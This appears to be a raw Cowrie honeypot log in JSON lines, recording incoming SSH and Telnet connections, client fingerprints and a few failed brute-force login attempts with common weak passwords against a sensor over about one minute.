{"eventid":"cowrie.session.closed","duration":5.99214768409729,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:57.629586Z","src_ip":"174.138.46.234","session":"f0ff1b71ef96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":37464,"dst_ip":"10.17.0.5","dst_port":23,"session":"18fa893f85d7","protocol":"telnet","message":"New connection: 5.196.58.99:37464 (10.17.0.5:23) [session: 18fa893f85d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:58.216681Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":39372,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dfc5daa461b","protocol":"ssh","message":"New connection: 103.248.120.6:39372 (10.17.0.5:22) [session: 8dfc5daa461b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:58.811132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:58.816524Z","src_ip":"103.248.120.6","session":"8dfc5daa461b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:59.039096Z","src_ip":"103.248.120.6","session":"8dfc5daa461b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.104196548461914,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:59.572795Z","src_ip":"174.138.46.234","session":"d37e1ec3533a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dev","password":"qwerty123","message":"login attempt [dev/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:16:59.959879Z","src_ip":"103.248.120.6","session":"8dfc5daa461b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:01.185722Z","src_ip":"103.248.120.6","session":"8dfc5daa461b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.778531789779663,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:01.708451Z","src_ip":"174.138.46.234","session":"6ac8b93f6187","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.678468227386475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:02.057073Z","src_ip":"5.196.58.99","session":"3e5c3f6ad4dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.466976165771484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:02.524039Z","src_ip":"5.196.58.99","session":"f0175b2d702e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.153878688812256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:03.486472Z","src_ip":"5.196.58.99","session":"f3e29fa82a84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41768,"dst_ip":"10.17.0.5","dst_port":23,"session":"7619af4f08bf","protocol":"telnet","message":"New connection: 5.196.58.99:41768 (10.17.0.5:23) [session: 7619af4f08bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:07.028540Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41746,"dst_ip":"10.17.0.5","dst_port":23,"session":"8addf29d8cbf","protocol":"telnet","message":"New connection: 5.196.58.99:41746 (10.17.0.5:23) [session: 8addf29d8cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:07.478920Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47758,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f4b48891394","protocol":"telnet","message":"New connection: 5.196.58.99:47758 (10.17.0.5:23) [session: 3f4b48891394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:19.116191Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.105.67","src_port":10347,"dst_ip":"10.17.0.5","dst_port":22,"session":"fde3e359c256","protocol":"ssh","message":"New connection: 125.22.105.67:10347 (10.17.0.5:22) [session: fde3e359c256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:19.201946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:19.206412Z","src_ip":"125.22.105.67","session":"fde3e359c256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:19.511994Z","src_ip":"125.22.105.67","session":"fde3e359c256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.507655382156372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:20.279377Z","src_ip":"5.196.58.99","session":"0ea1feb4db13","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin741","message":"login attempt [root/admin741] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:20.739920Z","src_ip":"125.22.105.67","session":"fde3e359c256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.438911199569702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:21.070692Z","src_ip":"5.196.58.99","session":"20198589c741","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":29097,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1678496a62f","protocol":"ssh","message":"New connection: 155.4.244.179:29097 (10.17.0.5:22) [session: f1678496a62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:21.171718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:21.175946Z","src_ip":"155.4.244.179","session":"f1678496a62f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:21.280899Z","src_ip":"155.4.244.179","session":"f1678496a62f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37540,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f6bf729b7a","protocol":"telnet","message":"New connection: 174.138.46.234:37540 (159.203.135.109:23) [session: 25f6bf729b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:21.495202Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:22.036769Z","src_ip":"125.22.105.67","session":"fde3e359c256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test23","message":"login attempt [admin/test23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:22.185965Z","src_ip":"155.4.244.179","session":"f1678496a62f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37924,"dst_ip":"159.203.135.109","dst_port":23,"session":"49cfd54becae","protocol":"telnet","message":"New connection: 174.138.46.234:37924 (159.203.135.109:23) [session: 49cfd54becae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:22.841079Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:23.293523Z","src_ip":"155.4.244.179","session":"f1678496a62f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60728,"dst_ip":"10.17.0.5","dst_port":23,"session":"c76b61334794","protocol":"telnet","message":"New connection: 5.196.58.99:60728 (10.17.0.5:23) [session: c76b61334794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:24.568599Z"}
{"eventid":"cowrie.session.closed","duration":31.140116691589355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:25.203995Z","src_ip":"5.196.58.99","session":"700321e4fdbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60740,"dst_ip":"10.17.0.5","dst_port":23,"session":"09d1ab2c7585","protocol":"telnet","message":"New connection: 5.196.58.99:60740 (10.17.0.5:23) [session: 09d1ab2c7585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:26.709877Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39498,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3f7183523d8","protocol":"telnet","message":"New connection: 174.138.46.234:39498 (159.203.135.109:23) [session: d3f7183523d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:28.047151Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60752,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d9811e57fa3","protocol":"telnet","message":"New connection: 5.196.58.99:60752 (10.17.0.5:23) [session: 1d9811e57fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:28.273532Z"}
{"eventid":"cowrie.session.closed","duration":30.912680625915527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:29.129249Z","src_ip":"5.196.58.99","session":"18fa893f85d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60758,"dst_ip":"10.17.0.5","dst_port":23,"session":"1168be2ec764","protocol":"telnet","message":"New connection: 5.196.58.99:60758 (10.17.0.5:23) [session: 1168be2ec764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:29.560509Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60768,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cff4ffa26c6","protocol":"telnet","message":"New connection: 5.196.58.99:60768 (10.17.0.5:23) [session: 4cff4ffa26c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:29.715748Z"}
{"eventid":"cowrie.session.closed","duration":7.8655455112457275,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:30.706501Z","src_ip":"174.138.46.234","session":"49cfd54becae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.725642681121826,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:36.772695Z","src_ip":"174.138.46.234","session":"d3f7183523d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.018297910690308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:38.046700Z","src_ip":"5.196.58.99","session":"7619af4f08bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.576754570007324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:38.055542Z","src_ip":"5.196.58.99","session":"8addf29d8cbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.92848587036133,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:38.910159Z","src_ip":"174.138.46.234","session":"b11dd1fa1d2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948766708374023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:50.064817Z","src_ip":"5.196.58.99","session":"3f4b48891394","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":54912,"dst_ip":"10.17.0.5","dst_port":22,"session":"996de0a7c91f","protocol":"ssh","message":"New connection: 209.99.189.177:54912 (10.17.0.5:22) [session: 996de0a7c91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:52.621508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:52.625565Z","src_ip":"209.99.189.177","session":"996de0a7c91f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:52.756231Z","src_ip":"209.99.189.177","session":"996de0a7c91f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Abc12345","message":"login attempt [admin/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:53.335525Z","src_ip":"209.99.189.177","session":"996de0a7c91f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:54.469017Z","src_ip":"209.99.189.177","session":"996de0a7c91f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":57778,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d3ce5397e01","protocol":"telnet","message":"New connection: 5.196.58.99:57778 (10.17.0.5:23) [session: 7d3ce5397e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:54.789922Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":46271,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe5464146068","protocol":"ssh","message":"New connection: 185.48.213.208:46271 (10.17.0.5:22) [session: fe5464146068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:55.010997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:55.016438Z","src_ip":"185.48.213.208","session":"fe5464146068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.49765706062317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:55.066140Z","src_ip":"5.196.58.99","session":"c76b61334794","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:55.138717Z","src_ip":"185.48.213.208","session":"fe5464146068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"12345678","message":"login attempt [tester/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:55.652953Z","src_ip":"185.48.213.208","session":"fe5464146068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:56.776551Z","src_ip":"185.48.213.208","session":"fe5464146068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.52483630180359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:57.234637Z","src_ip":"5.196.58.99","session":"09d1ab2c7585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":57794,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2947eb7962a","protocol":"telnet","message":"New connection: 5.196.58.99:57794 (10.17.0.5:23) [session: a2947eb7962a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:57.852635Z"}
{"eventid":"cowrie.session.closed","duration":31.491742610931396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:17:59.765158Z","src_ip":"5.196.58.99","session":"1d9811e57fa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.539809942245483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:00.100234Z","src_ip":"5.196.58.99","session":"1168be2ec764","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47113299369812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:18:00.186773Z","src_ip":"5.196.58.99","session":"4cff4ffa26c6","protocol":"telnet"}
